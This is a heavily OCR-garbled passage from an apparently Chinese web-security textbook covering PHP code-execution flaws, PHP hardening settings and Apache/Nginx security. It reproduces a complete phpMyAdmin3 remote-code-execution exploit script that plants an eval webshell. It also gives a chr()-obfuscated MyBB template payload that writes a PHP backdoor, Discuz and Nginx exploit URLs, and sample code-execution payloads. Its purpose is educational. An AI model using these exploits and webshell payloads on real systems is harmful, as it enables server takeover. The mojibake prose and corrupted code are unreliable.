unset (SpersistKeys[$k]) ;
}
}
// keep 1d array keys which are present in $persist keys (config.values.php)
foreach (array keys (SpersistKeys) as $k) {

if (strpos($Sk, '/') === false) {
$k = preg replace('/["A-Za-2z0-9 1/', ' ', $k):
Sret .= self:: getVarExport ($k, $cf->getDefault ($k), Scrlf);
}
}
Sret .= '?>"';

return Sret;

Forb, BRARIREAEACRS A DI RE , (HIL PR — A

Sret .= '/* Server: ' . strtr($Scf->getServerName ($id), '*/', '=-') . " [$id] */" . Scrlf

TEERIAE, strir() RO S TR $cf->getServerName($id), B 1Lz &4
®, NI OCHIVERERF; R, KRG M [Sid] #HRMAT A Ab 5, & S br b gl A &=
$c['Servers'|i key.

i S WHERBORFIMZR: $c = $cf->getConfig();

££ libraries/config/ConfigFile.class.php "7 getConfig() L.

/**
* Returns configuration array (full, multidimensional format)
*

* @return array
=
public function getConfig()
{
$c = $ SESSION[S$this->id];
foreach (Sthis->cfgUpdateReadMapping as $Smap to => $map from) ({
PMA array write($map to, $c, PMA array read($map from, $c));
PMA array remove ($map from, S$c);
}

return $c;

BRI Sc &M Session HHUAFIY, I FRATIE L AT TR AT LA H Session HH AT
A, NG Sc , AN HETERAT, K PHP A4 A2 config/config.inc.php
HHIFHAT .

WU R R 254152 config H SRAFAEIF RIS, AR 22 INH e 21 5% AT e 25 76 58 b a2 2
Js MER config H k.

[ N 2220988 wofeiwo N IS T —E POC:
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#!/usr/bin/env python
# coding=utf-8
# pma3 - phpMyAdmin3 remote code execute exploit
# Author: wofeiwo<wofeiwo@80sec.com>
# Thx Superhei
# Tested on: 3.1.1, 3.2.1, 3.4.3
# CVE: CVE-2011-2505, CVE-2011-2506
# Date: 2011-07-08
# Have fun, DO *NOT* USE IT TO DO BAD THING.
E
# Requirements: 1. "config" directory must created&writeable in pma directory.
# 2. session.auto start = 1 in php.ini configuration.
import os,sys,urllib2, re
def usage (program) :
print "PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code
execute exploit"
print "Usage: %s <PMA url>" % program
print "Example: %s http://www.test.com/phpMyAdmin" % program
sys.exit (0)
def main (args) :
try:
if len(args) < 2:
usage (args[0])
if args([1l][-1] == "/":
args([l] = args[l][:-1]
print "[+] Trying get form token&session id.."
content = urllib2.urlopen(args[1l]+"/index.php") .read/ ()
rl = re.findall ("token=(\w{32})", content)
r2 = re.findall ("phpMyAdmin=(\w{32,40})", content)
if not rl:
rl = re.findall ("token\" value=\" (\w{32})\"", content)
if not r2:
r2 = re.findall ("phpMyAdmin\" value=\" (\w{32,40})\"", content)
if len(rl) < 1 or len(r2) < 1:
print "[-] Cannot find form token and session id...exit."
sys.exit (-1)
token = r1[0]
sessionid = r2[0]
print "[+] Token: %s , SessionID: %s" % (token, sessionid)
print "[+] Trying to insert payload in $ SESSION.."
uri = "/libraries/auth/swekey/swekey.auth.lib.php?session to unset=HelloThere&

SESSION [ConfigFileO] [Servers] [*/eval (getenv ('HTTP CODE'));/*] [host]=Hacked+By+PMA&

SESSION[ConfigFile] [Servers] [*/eval (getenv ('HTTP CODE'));/*] [host]=Hacked+By+PMA"
url = args[l]+uri

opener = urllib2.build opener ()
opener.addheaders.append(('Cookie', 'phpMyAdmin=%s;

pma lang=en; pma mcrypt iv=ILXf15RoJxQ%%3D; PHPSESSID=%s;' %
(sessionid, sessionid)))

urllib2.install opener (opener)
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urllib2.urlopen (url)

print "[+] Trying get webshell.."
postdata ="phpMyAdmin=%s&tab hash=&token=%s&check page refresh=&DefaultLang
=en&Server Default=0&eol=unix&submit save=Save"

% (sessionid, token)
url = args[l]+"/setup/config.php"

# print "[+]Postdata: %$s" % postdata
urllib2.urlopen (url, postdata)
print "[+] All done, pray for your lucky!"

url = args[l]+"/config/config.inc.php"
opener.addheaders.append(('Code', 'phpinfo();"'))
urllib2.install opener (opener)
print "[+] Trying connect shell: %s" % url
result = re.findall ("System \</td\>\<td class=\"v\"\>(.*)\</td\>\</tr\>",
urllib2.urlopen(url) .read())
if len(result) ==
print "[+] Lucky u! System info: %s" % result[0]
print "[+] Shellcode is: eval (getenv ('HTTP_CODE'));"

else:
print "[-] Cannot get webshell."

except Exception, e:

print e
if name == " main " : main(sys.argv)
\ STI E
9%@%4tﬁ%i€:
uri = "/libraries/auth/swekey/swekey.auth.lib.php?session to unset=HelloThere&

SESSION[ConfigFileO]
[Servers] [*/eval (getenv ('HTTP CODE'));/*] [host]=Hacked+By+PMA& SESSION[ConfigFile] [Se
rvers] [*/eval (getenv ('"HTTP_CODE')) ;/*] [host]=Hacked+By+PMA"

B “Heval(y*”  ENBIEE S SESSION AR H 1 key o
14.3.1.2 MyBB 1.4 iZi2X A3 1TIRHR

FETRE b —AEG, XA S eval O BRBURA IS 1. X2 2 2R
flyhdt I — s : MyBB 1.4 admin remote code execution vulnerability

oG, 7 MyBB [ACHEHRAEAE eval() BREL.

//index.php, 336474 %

Splugins->run hooks ("index end");
//HILT eval 3L, HRSH

eval ("\$index = \"".Stemplates->get ("index")."\";");
output page ($index) ;

ZHFBARERE, BFFELRIERRE, REEWRBOHEHLRE, REXEEREH
R REH P RS A W e fIEA .

HLAEF| eval O AK H T Stemplates->get("index"), 4k 21 ek £
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JRoK get() bR EL IR AT 10 A 25 02 W ECHE Erh CH 1 o B I 2 0 17— 282 b B, L
addslashes(), -2 Edh e i it P9 28 2 75 e g il We. 2

AR I P AT H 52 R P B
//admin/modules/style/templates.php, 372174

if (Smybb->input['action'] == "edit template")
{
Splugins->run hooks ("admin style templates edit template");

if (!Smybb->input['title'] || !$sid)

{
flash message ($lang->error missing input, 'error');
admin redirect ("index.php?module=style/templates");

if ($Smybb->request method == "post")
{
if (empty ($mybb->input['title']))
{
Serrors[] = $lang->error missing title;

if (!$errors)
{
Squery = $db->simple select ("templates", "*",
"tid="'{$mybb->input['tid']}'");
Stemplate = Sdb->fetch array(Squery);
[/ IRIBIFRA VNN, LHRRAR 1 AR P 25
$template array = array(
'title' => $db->escape string($mybb->input['title']),
'sid' => $sid,
'template' =>
Sdb->escape string (trim($mybb->input['template'])),
'version' => Smybb->version code,
'status' => "'"',
'dateline' => TIME NOW
)i

// Make sure we have the correct tid associated with this template. If the
user double submits then the tid could originally be the master template
tid, but because the form is sumbitted again, the tid doesn't get updated to
the new modified template one. This then causes the master template to
be overwritten

Squery = $db->simple select ("templates", "tid",
"title='".$db->escape string($template['title']).""'

AND (sid = '-2' OR sid = '{Stemplate['sid'l}")",

array ('order by' => 'sid', 'order dir' => 'desc', 'limit' => 1));
Stemplate['tid'] = $db->fetch field(Squery, "tid"):;

if($sid > 0)

{
// Check to see if it's never been edited before (i.e. master) of if
this a new template (i.e. we've renamed it) or if it's a custom

template
Squery = $db->simple select ("templates", "sid",
"title='".Sdb->escape string(Smybb->input['title'])."'

AND (sid = '-2' OR sid = '{$sid}' OR sid='{S$template['sid']}")",
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array ('order by' =>
'sid', 'order dir' => 'desc'));
Sexisting sid = $db->fetch field(Squery, "sid");
Sexisting rows = $db->num rows ($query) ;
/ /SRS AR H s e
if (($existing sid == -2 && $existing rows == 1) || $existing rows == 0)
{
Stid = Sdb->insert query("templates", Stemplate array);
}
else
{
$db->update query ("templates", Stemplate array,
"tid="'{S$template['tid"']}"' AND sid != '-2'");

}

3 3o g AR D) B WT LORE K 5 N K 12, R U A 65 SCPE RS evalOf5 ARAT
ME— 5 EAL B L SR U AT .

flyhdt 25 TR POC:

{54 Home -> Template Sets -> Default Templates %E#fEdit Template: index

1f {$headerinclude} FEAUIF—BARAD 5 ORA7 :

{${assert (chr(102) .chr(112) .chr(117) .chr(116) .chr(115) .chr (40) .chr(102) .chr (111) .chr(
112) .chr (101) .chr(110) .chr (40) .chr (39) .chr (99) .chr(97) .chr (99) .chr (104) .chr (101) .chr(
47) .chr (102) .chr (108) .chr (121) .chr(104) .chr (52) .chr (116) .chr (46) .chr(112) .chr (104) .ch
r(112) .chr (39) .chr (44) .chr (39) .chr (119) .chr (39) .chr (41) .chr (44) .chr (39) .chr (60) .chr (6
3).chr(112) .chr(104) .chr(112) .chr (32) .chr (64) .chr (36) .chr (95) .chr (80) .chr (79) .chr (83)
.chr(84) .chr(91) .chr(119) .chr (93) .chr (40) .chr (36) .chr (95) .chr (80) .chr (79) .chr (83) .chr
(84) .chr(91) .chr(102) .chr(93) .chr (41) .chr (63) .chr (62) .chr (39) .chr (41) .chr(59)) }}

Vi i 1 W e fEcache H3 RA:fiflyhat .php, WA N<?php @$_POST[w] ($_POST[£]) 2>

XA KBRS TN “ SR BIBUR PR AL eval()” 2 <O MBS IAT IR (KL
Fo BARIX AN ZORE 6 W T B O3 1K) D3 0 A REM R ASEAR,  (FUR e T e el XSS =X
Ho T BORSERIX— 5o

14.3.2 “XXBEN” #H1THKEE

FE PHP HOR SOOI AT o ZEEN, AR SCPFERAR (K A 2 P iT DAl DA 25 ) e
A o

"NX AN Discuz! admin\database.inc.php get-webshell bug Hi ring04h A& I .

7t database.inc.php T zip SCEFIF, FA7ES SCAFERAE, (R 22 lnd TF g, S
FOH P e LR SO N A B PHP AR

elseif (Soperation == 'importzip') {

require once DISCUZ ROOT.'admin/zip.func.php';

Sunzip = new SimpleUnzip();

Sunzip->ReadFile ($datafile server) ;

if (Sunzip->Count () == 0 || Sunzip->GetError(0) != 0 || !preg match("/\.sql$/i",
Simportfile = Sunzip->GetName (0))) {
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cpmsg ('database import file illegal', '', 'error');
}
$identify = explode(',', base64 decode (preg replace ("/"# Identify:\s* (\w+).*/s",
"\\1", substr ($unzip->GetData(0), 0, 256))));
Sconfirm = !empty($confirm) 2 1 : 0;
if (!$Sconfirm && $identify[l] != $version) {

cpmsg ('database import confirm', 'admincp.php?action=database&operation=
importzip&datafile server=Sdatafile server&importsubmit=yes&confirm=yes',
'form') ;

}

$sglfilecount = 0;
foreach ($unzip->Entries as Sentry) {
if (preg match("/\.sqgl$/i", Sentry->Name)) {
S$fp = fopen('./forumdata/'.S$backupdir.'/'.Sentry->Name,
fwrite ($fp, S$entry->Data);
fclose ($£fp) ;
$sglfilecount++;

'w');

IJa A fwrite()S SCIFERAE . RN

preg match("/\.sql$/i", S$importfile = Sunzip->GetName (0))

AR S sql, (FZILRT A HF A9y, Bdi & vl LLFIH Apache (#1301 44 AT 4E
Y (3% M AR 55, WS4 081127 _k4pFUs3C-1.php.sql. Jb 314448
Apache FERINSAEN PHP SCH#T, TSRS AT o

il POC:

<6.0 :admincp.php?action=importzipsdatafile server=./KiffEE42/ M4 . zipsimportsubmit =yes
=6.1 :admincp.php?action=databasesoperation=importzipsdatafile server=./[i{FEie/ M4
. zip&importsubmit=yes&frames=yes

14.3.3 Hi#HITREBAX

MR ET R LA SRR, AERATN PHP A AR SAT IR I A S 2 PR T T .
SO H LA AT I AT 2028, AT UGS LS. BAGE P BRI L8] fiE 3 BUAS Hh
TR DL, X AR % S 427 S B B B .

BENITRADR R
PHP H AT DL B AT AR 1R pR 25, LE 4 eval()~ assert() system()« exec() shell _exec()-

passthru().  escapeshellemd(). pentl exec() %5,
<?php

eval ('echo S$foobar;');
2>

ORI AE PHP SIS A, A T AR I D AT DA A QRS Hh e 75 A7 AR X 4
PR AR E TG R R B R IR, B e A AT LA R .
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XHeEE
SO A T Tt R A Nl e R OCTE RE S 5 SCAF I R KL include()

include once(). require(). require_once().

<?php

$to_include = $_GET['file'];
require once (Sto_include . '.html');
2>

AHXHEEAN

AEMGEA I SCIF HL S N P2 1 R A0 i 2 T A O

XFE R %, W WIE file_put contents(). fwrite(). fputs)5F. FE_LWHEMET —1
B ONAS S SRR AT IR 241

i EE RN, TSI R ISR Sl s A T8I gl &, e AT I
A ICEZE R AR BT P o ARG T I BT R IM A5 2R” TN

il

preg_replace(MXABHIT
preg_replace() ) 5 — NS E WA/ /e BEAMBMRT, W ARVFACRSPAT o

<?php

Svar = '<tag>phpinfo()</tag>"';

preg _replace ("/<tag>(.*?)<\/tag>/e", 'addslashes(\\1)', $var);
?>

i BRSBTS NS IR e BBIRT, R AT eI AU . X ER
FoAASHP SRR, JFHRP A, AAREETEAN /%00 A7 BSOS, A4

“/e”

<?php

Sregexp = $ GET['re'];

Svar = '<tag>phpinfo()</tag>"';

preg replace ("/<tag>(.*?)$regexp<\/tag>/", '\\1', S$var);
?>

BEXTIZBOAAS, wT LGl s Oy AR
http://www.example.com/index.php?re=<\/tag>/e%00

2 preg_replace() HISE— NSO ET/e I, HALREERTHE -ANSEELE =
28, WA UL SR AT .

SR ET

FP A5 SR Bh 25 s 0T U EURRS AT, 5 28 ROX RS DL

<?php
Sdyn_func
Sargument

S GET['dyn func'];
$_GET['argument'];
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$dyn_func (Sargument) ;
?>

MBI T AT, S8 HRAT, .

http://www.example.com/index.php?dyn func=system&argument=uname

EeBL, create function()pR F L HL A5 L RE J) .

<?php
$foobar = $ GET['foobar'];
Sdyn_func = create function('$foobar', "echo $foobar;");
$dyn_func ('');
?>
Wit payload Wi F:

http://www.example.com/index.php?foobar=system('ls")
Curly Syntax

PHP ff Curly Syntax A8 SEACILHAT, CRHATIERE S MIAACRY, JEkeah B m 2,
LIRNCTP

<?php
Svar = "I was innocent until ${ 1s’} appeared here";
?>

Is fr 2B A1 AR H 130, 45 Rk M),
Wi R, phpinfo() bR U AT«

<?php

$foobar = 'phpinfo';
${'foobar'} ();

?>

(5138 &R BRI T AT
R 2 PR HCHR T LABIAT (01 R B, =4 1 e K P mT Iy, A 3 SRS AT .

<?php

Sevil callback = $ GET['callback'l];

Ssome array = array(0, 1, 2, 3);

Snew array = array map ($evil callback, $some array);
2>

i payload 1

http://www.example.com/index.php?callback=phpinfo

PEKHAUR S, FTAIH - SEAT BT callback 24 5.

array map ()

usort (), uasort (), uksort()

array filter()

array_ reduce ()

array diff uassoc(), array diff ukey()
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array udiff (), array udiff assoc(), array udiff uassoc()
array intersect assoc(), array intersect uassoc()

array uintersect(), array uintersect assoc(), array uintersect uassoc()
array walk(), array walk recursive ()

xml set character data handler ()

xml_ set default handler ()

xml_ set element handler ()

xml_ set end namespace decl handler ()

xml set external entity ref handler()

xml set notation decl handler ()

xml set processing instruction handler ()

xml set start namespace decl handler ()

xml set unparsed entity decl handler ()

stream filter register ()

set _error handler ()

register shutdown function ()

register tick function()

ob_start() SR bt AT LABRAT 018 e 48, 75 SR A
<?php
$foobar = 'system';
ob_start ($foobar) ;
echo '"uname';

ob_end flush();
?>

unserialize() S 2T

unserialize() XA R A AR WL, BRI A4 0 BHE BT 8 PHP AR, H 2
unserialize)FEHATIT W E LT destruct() AL, B &  wakeup() BREL, WIIXPIASEREL
HHAT

unserialize)fCHSHATH A5, — I unserialize() I ZHH = ] DA, XA ] AR H
BRI IIBAE G54 I AF(E _ destruct() BREKELFE _ wakeup() BREL, XA pRELEK
DL OE T REPAT A A FEAR R .

Wi Z LR unserialize() #5M]  destruct() 5 wakeup() TN . &% Nl
SRRV

<?php
class Example {
var $var = '';
function _ destruct() {

eval (Sthis->var) ;
}
}
unserialize ($ GET['saved code']);
?>

Wiiks payload 1 F -

http://www.example.com/index.php?saved code=0:7:"Example":1:{s:3:"var";s:10:"phpinfo (
)i"i}



348 T UE Web 24

Y7 payload W] LR H PR SEBLEEFE, AR )5 FRIE L A serialize()3R15

DBl — S8 3 B (0 32 PHP AT 578, AEACRS o v I 5 2 T i OV X 2 )y

14.4 TEFRIZ=8Y PHP &

AT, BATCLIRAN T T PHP 55 R, DL PHP 224 [ @ Bl A4
FLA] L PHP )22 4208 ?

T 3RS R PHP IS, @Er] LUES ECE php.ini K00 PHP 2173835

PHP B J5 8 42 B L php.ini FIEAKE . fEAT T, 47 php.ini o222 402
R E -

register_globals

> register_globals = ON I, PHP ANITEA & MR, A Sy L0 5 7 26 1 ) .
MM AR SR R, SRFIEIN E register_globals = OFF , X tH/2 PHP HHiAS 1 ERIA K

open_basedir

open_basedir AJ LARR | PHP HAEEEEFR & H 3 FRISCHF . XAEX BSOS H il [ 55
Wb dEw A . BATNZ A MR E —ME. FEFEEMLE, WREEMEE—NMEERN
Hx, MTEEEBRXEFNL—A “7, {USHOA K2 HXMar4k.

open basedir = /home/web/html/
allow_url_include

N TP SRS, ORI I, — BN AR FH AN Bk I [ I 4 45 5K P FR) 3 AT
allow_url_fopen,

allow url fopen = Off
allow url include = Off

display_errors

BRI, RO T IT R, (R AR 2 R I UM e 1 O LTI, R

display errors = Off
log_errors

FEIEIAE N XA AT 1, RGOl s G e IEAF AT DR ER A

log errors = On
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magic_quotes_gpc

HEFE G, EIFAMERNKIR GESH “IEABGE” —5), CHCSA A TR g
e, HERm TR RMAT A SR 24 . XSS, SQL vEAAFW, N % Y
FAEIEAA BT gk RIS OC P e R M e
magic_quotes gpc = OFF

cgi.fix_pathinfo

4 PHP LL CGI 197730222, WIFG SRR,  DUBE G tH LSO ERENT [ (W5 “3Cft
FAERIRT D,

cgi.fix pathinfo = 0
session.cookie_httponly

JTJA HttpOnly (HttpOnly (fE TGS % “ Buli AL S —%).,

session.cookie httponly = 1
session.cookie_secure

R4 uE HTTPS WS FF S eI

session.cookie secure =1
safe_mode

PHP [ xR NAZTT A B+ — B LK . — 71, Bl 2 k4 55— 71,
B B AT S, IR A . W R =3 (Lt App Engine), WSS A
safe_mode, LA disable_functions FCA 18 A s G A2 SRBR R S ERSE,  U)my DA% EEOG A
B2 WIS T+ disable functions ¥4 HIE 1T IAEE 2245 .

safe_mode 7F: 4 Hi ] PHP WAt 2558 M LA R BR 4K

T2 RRTCBR I iR £
P R
dbmopen() A AR IR SOl H SR TR 53T (K IAAT AR 4 UID I A7)
dbase_open() R AR A 10 SO B H SR ST A AT A R K UIDCITA#0)
filepro() T A ARAE IR SO H SR ST M IAATAHIFE 1 UID OFT A7)
filepro_rowcount() A AR IR SOl H SR TR 53T (K IAAT AR 4 UID OFT A7)
filepro_retrieve() RO A4 A E ) SRR H SR S AT A AR Y UIDCITE#)
ifx_* sql_safe_mode BRfil(!= safe mode)
ingres_* sql_safe_mode PiL#il(!= safe mode)
mysql_* sql_safe_mode PRHil(!= safe mode)
pg_loimport() A ARAE IR SO H SR 53T M IAATAHE 1 UID OFT A7)
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L8 PR R 2

RoH

posix_mkfifo()

KRR 1 H SRS SHATIAA MR UID ()

putenv()

JEA ini BE Y safe_mode protected env_vars Fll safe_ mode allowed

env_vars £, 5% putenv() BEUAT I 3CHRY

move_uploaded_file()

AR AR IR SO B H SO B SR T AT R K UID T AT 45D

chdir() K BERARI H SRR B S EHIT RIAA K UID (a2
di() % PHP IaAT7E 2B, AGEAE e £

backtick operator

2 PHP J&fT/E 2N, ANREMEH i pa £k

shell_exec() (/ELIfE A1 backticks FR%UAH ]

2 PHP SAT7E A, AREfE I st £

U BEAE safe_mode_exec_dir BB ¥ H R FHATHAT AT . BT HL LR

exec() N, H AT BEAE AT HATHT B (K B 47 A .. . escapeshellemd() #5415 T
e
HBETE safe_mode_exec_dir ¥ [ H 5 N AT AT HAE . 56 T340
system() , HHETARBELE AT HAT X G 42 ..o escapeshellemd() 5 #% /EH
LR
HUBEAE safe_mode_exec_dir T & [ H 3% F AT HATIRAE . FETIE 88 5
passthru() , HHETABELE AT HAT X G 42 ..o escapeshellemd() 5 #% EH
e
HUBEAE safe_mode_exec_dir T & [ H 3% F AT HATIRAE . FE T3t 88 5
popen() , HATARELE AT HAT X S B 2 .o escapeshellemd() #B/EFH T
BERR 2 L
fopen() R A BARAEI) H 2 T S BEATIAG MR UID OIiT#)
mkdir() R A R 1 H T2 5 ST AT R UID O E#)
rmdir() R A BARAE) H 2 B S BEAT A G MR UID OIiT#)
renamey() T A ARAE IR SO H SR 53T M AATAHIFE 1 UID OFT A7)
unlink() R A A 0 SCAF B H S 15 ST I AT A R UID AT #5)
copy() T A ARAE IR SO H SR 53T M AAT AR 1 UID OFT A7)
chgrp() R AR A 10 SO B H SR S AT I A AT A IR K UID (I #)
chown() A AR IR SOl H SR TR ST (K IAAT AR 4 UID I A7)
chmod() R AR A 10 SO B H SR ST A AT A R K UIDCITA#0)
BAh, AHEEE SUID. SGID Al sticky bits
touch() T A ARAE IR SO H SR ST M IAAT AR UID OFT A7)
] R AR A 10 SO B H SR S AT A AT A IR 1K UID I #)
symiink() ER: AUEA target)
link0 A ARAE IR SO H SR ST M AATAHIFE 1 UID OFT A7)

GERE: S target)

apache request_headers()

AR, Bl “authorization” (X K/NE) FFkMFR LKA
Hea]nl

header()

AR, REE T WWW-Authenticate, T4 H74< ) UID %
WA INEZ kR L 1 realm 343
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T 2RI PRH R £

R R

1% 4R, Z8 & PHP_AUTH USER. PHP_AUTH_PW Al PHP_
AUTH_TYPE £ $_SERVER "' /AA] f . {HIG aifa, AR AT LLAE
FI REMOTE_USER KK - 48k (USER)  (i: XA PHP 4.3.0
WA G H RO

R AR A 10 SO B H SR S AT I A AT A R 1K UID I #)
GEE: NE 421 RAEAEO

R AR AR S8 H O 53T AT AR I UID (a0
GEE: N 421 WAEARO

PHP_AUTH #F i

highlight_file(),show_source()

parse_ini_file()

set_time_limit() TE AR N AR H
max_execution_time e AR AN AE A

N, 5 AWl GEE: U\ PHP 4.2.3 JRARZ

mail() X
A

T BRI R, WRIFE T safe_mode, W exec()s system(). passthru(). popen()=5 i
BOFEWAEH, M2 N BEHATAE “safe_mode exec dir” TR Hak FAELEM AT AT SO Wik
BAVFX SR, WHE R E LS safe_mode exec dir IRt H R B AT,

safe_mode LI 5L, AT R INE L4 H 71 PHP 4 . 57 B A 1K) s An]
PLgeid safe_mode, FULTETEIEINAAREATTEE PHP ¥R, BRAEREMHINEATZ 241,
disable_functions

disable_functions BEWTE PHP HAEH] pR A, X J2AEX IS, ZEH] R 0T RE2 A TT R KA
I, RAEFH ) R BOK D SORT BRI A 5 AN AR IR J L2, RN A B 3R webshell &4t
(G

—BORE, WSRO N AT, WIHERESE I LT e KL

disable functions = escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_get status,
proc_open, proc_nice, proc_terminate, shell exec, system, ini_restore, popen, dl, disk free space,
diskfreespace, set time limit, tmpfile, fopen, readfile, fpassthru, fsockopen, mail, ini_alter,
highlight file, openlog, show source, symlink, apache child terminate, apache get modules,

apache get version, apache getenv, apache note, apache setenv, parse ini file

R ILEIRAEE (Hbln App Engine), WF5ZAA B 2 (1 %L, X 71 W] LLS 2% Bk #E
1 SAE V&, =R PHP I T, ZEHAMEHSIRWT:

OB A€

php_real logo guid,php egg logo guid,php ini scanned files,php ini_loaded file,readlink,lin
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kinfo,symlink,link,exec,system,escapeshellcmd,escapeshellarg,passthru,shell exec,proc_open,proc_clo
se,proc_terminate,proc_get status,proc_nice,getmyuid,getmygid,getmyinode,putenv,getopt,sys_getloa
davg,getrusage,get current user,magic_quotes_runtime,set_magic_quotes_runtime,import_request varia
bles,debug zval dump,ini_alter,dl,pclose,popen,stream_select,stream_filter prepend,stream filter a
ppend,stream_filter remove,stream_socket client,stream_socket server,stream_socket accept,stream
_socket _get name,stream_socket recvfrom,stream_socket sendto,stream_socket enable crypto,stre
am_socket shutdown,stream_socket pair,stream_copy to stream,stream_get contents,stream_set w
rite_buffer,set file buffer,set socket blocking,stream set blocking,socket set blocking,stream get
meta_data,stream_get line,stream_register wrapper,stream_wrapper_restore,stream_get _transports,st
ream _is local,get headers,stream_set timeout,socket get status,mail,openlog,syslog,closelog,apc a
dd,apc_cache info,apc_clear cache,apc_compile file,apc_define constants,apc_delete,apc load con
stants,apc_sma_info,apc_store,flock,pfsockopen,posix_kill,apache child terminate,apache get mod
ules,apache get version,apache getenv,apache lookup uri,apache reset timeout,apache response
headers,apache_setenv,virtual,mysql_pconnect,memcache add_server,memcache connect,memcache

_pconnect

AEF2E:

XMLWriter, DOMDocument,DOMNotation, DOMXPath,SQLiteDatabase,SQLiteResult,SQLite
Unbuffered,SQLiteException

¥ PHP 6 K, L3RR AT HORIA% 4K, magic quotes gpe. safe_mode 50 L4 HL
W, AR T — 22 2 DiRe. T PHP 6 B3 X i IR — Beista], R 2 Dhfe iR A8 e
TEMET AL o

14.5 IN\ZG
EARTE PN T PHP ISR L 8., PHP & 118 A Web JTRIES, ©

FRITEE NS 75 2R R, Xt 80T PHP AU 2 A VAl A0 0 AT R e

ARFESANH T PHP f Lo 24 el il LW SO & i AR AT, fe 2k
XU E > 2242 1) PHP FREE4 Y T e ARGEACE () — S sk, W LA PHP 241
RS AR 3 AR,
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i3
Web ServerficEZLZE

Web 55 #85 Web N 24K, WX AR B2 410 8, IABATEH ) Web Y
FARE P I 2 A TV S IR . R Web ARSS 251 2 AN B .

Web 554 24, ISR N HIATE N (BT T 2 4x . IXANBATH BT LS Web Server,
ATE SRS PIRFERAT, IXESEA R R E S AL, AT LU R 2R

ARTERGPIE 51K, PHUF Web IR 55 aATWRLE 3 DR AT I 2 42 )L, BARIFASREML IR T AT 1K)
e, (HAVE PR SR g 2 12 .

15.1 Apache &%

R4 R Nginx. LightHttpd 55 Web Server (1117357 3 B4 KAHR R, {H Apache /588 21X
AN — T Bk, M B K2 EH Web N KSR EIZE Apache Httpd Im. ASEEHLIE
M Apache Y, K24 Apache Fe AT, JLART) Web Server [Tl (1) % 4 i it ] 4 it
. fEAZH, Apache ¥JfX$5 Apache Httpd.

Web Server {122 = TRATIHVEP . —JE Web Server A B 152245, —J& Web Server & 7542
PET R ) DiRE. AU Apache IR S, &8 48 R BV 2 K S FE TR o HIX L 5 5
T, K & 1 Apache (1] Module i& f% 1), Apache 10 [ =& JL 7% 1 . Apache f11R
2B 7545 771 Module, ERINE B Module H U (1w fis Il AR5 2>, K22 500 v 6 il
TP AEBRIA AT %2288, enable 1) Module .

M, Krfr Apache A —1F9iM, BUEAE Apache /] Module Z3E1E8, RIE “&
ANEBR R, iR ] BE MR S A EE ) Module, ST E4F ) Module, T H %N AR
RREFAECHNZERF.

SEHILF T Apache Wt )5, e TR EMM), wiitdRE Apache HEFE LSRR H - 5 4
1847, IXIH T E A Apache FMLEE . — user/group.

W EE R, Apache DA root B E#E admin S4BT R — AN IEF A RE. XK
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admin 5 3 5 IS5 4 4 BE O3 AR A BEALES I AT A0 S 400 XA S0 BB LB 1), DRAY
B DA IR BAS . D MECE SR B H SRR,

i H B BUR S 0r124T Apache 45 AT BE& KCHEPERT, & KA1 G 3R
(1) HMENE Web DN, B HESRS AN SR (LB root B admin) 1] shell;

(2) NFEFA SR R BB, B bug I, T RESH R U, EC A B A
HE A ARFCBERESE AT AN 45 2R

R I A2 AR 11 F P 4 IZAT Apache, XA B ANV iZ A 4% shell, “BME
— B I RIZAT Web B

T2 540y S st R, 7648 H oAl Web 7588 I 75 B E =X AN ) 8. 1RZ TSP P 1) & B
T EYCK Tomeat BLE N root S I81T, FEUM G Rl & A E w32 T webshell J&,
KRINIXA webshell 148 B 4% root LR T .

Apache IBHRAE T — LR ESH, ATDUARRIACIR 55 s (0 PERE,  $2=0tS$T DDOS Btk fig
1o BATELE “ N RARLEMR S5 By 7 — R R R X B AL

TimeOut

KeepAlive
LimitRequestBody
LimitRequestFields
LimitRequestFieldSize
LimitRequestLine
LimitXMLRequestBody
AcceptFilter
MaxRequestWorkers

{E Apache I9F 77 SCRY XAl X Se S Hn T i XS HRRI I B e 1A
M, HRE PG PERER TATER,  FT LA 5T DDOS AT T X 26240, HIIETC.

BJa, BRI Apache Log. — MOk, BUhi# ARG, LB — S w2 T b
MNAZIRIE, AU MR H &S, PRI access log W 24238 O, LU SE I b A 2% B S RE ) syslog
i &

15.2 Nginx Z=%

Aok Nginx KRR, Bt R A = o R AL B Be 145 F P 4E Web Server HiE#E B
AT EZHA0 . BENLAERAERE, Nginx FTEEA I 5200 BRI 22205 BAS (1) w2 8 I i 20
E Apache 5242, 7 Nginx ['F J7 W 3l 4 X 48 22 4x [n] 8L (1 51) 22

1 http://httpd.apache.org/docs/trunk/misc/security_tips.html

2 http://nginx.org/en/security_advisories.html
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nginx security advisories

Izor Syscev's PGP public key.

.

Vulnerahilities with invalid UTF-8 sequence on Windows
Severity: major

CVE-2010-2266

Not vulnerable: 0.8.41+, 0.7.67+

Vulnerahle: ngink/Windows 0.7.52-0.8.40

.

Vulnerabilities with Windows file default stream
Severity: major

CVE-2010-2063

Not vulnerable: 0.8.40+, 0.7.66+

Vulnerahle: nging/Windows 0.7.52-0.8.39

.

Vulnerahilities with Windows 8.3 filename pzeudenyms
Severity: major

CORE-2010-0121

Mot vulnerable: 0.8.33+, 0.7.65+

Vulnerahle: nginz/Windows 0.7.52-0.8.32

An error log data are not sanitized
Severity: none

CVE-200G-4487

Not vulnerable: none

Vulnerable: all

.

The renegotiation vulnerability in SSL protocol
Severity: major
WU#120541 CVE-200G-3555

Nginx B 77 (F#h T ULHI

b4 CVE-2010-2266 42— Nginx [F4H40 IR 25 Wil il & S AR5 1 B

http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20

P2 2 G Ngink (IR R, HRIR AT R 2 MR, RARR AT 21—
FilGo MDA ERE, WA DN BLIRIA R 2, AR YEy 5 1 2 4 iR E
BALRATIURGE, [N i T8 RN, AN ARKAEAE 2 L 2 i .

A2 ARG KE, Nginx 5 Apache i KX AIET, K7 Apache 224> 51 2 [{ 2K
1 Module %24, T Nginx WIFZ3F SRR G 124, KIS TR RCAS .

5 Apache —#f, Nginx WM % LRI S AMEAT, X2 FTH Web Server. Z5a% A1 1% 4t
(i) 325 5 11 L)

%%, Nginx MIECE IEH R3G, 72X 51 DDOS F1 CC Bk Jy it RE L ) — & (e H]
LU T — S B S

worker processes 1;
worker rlimit nofile 80000;
events {
worker connections 50000;

}

server tokens off;
log format IP "Sremote addr';
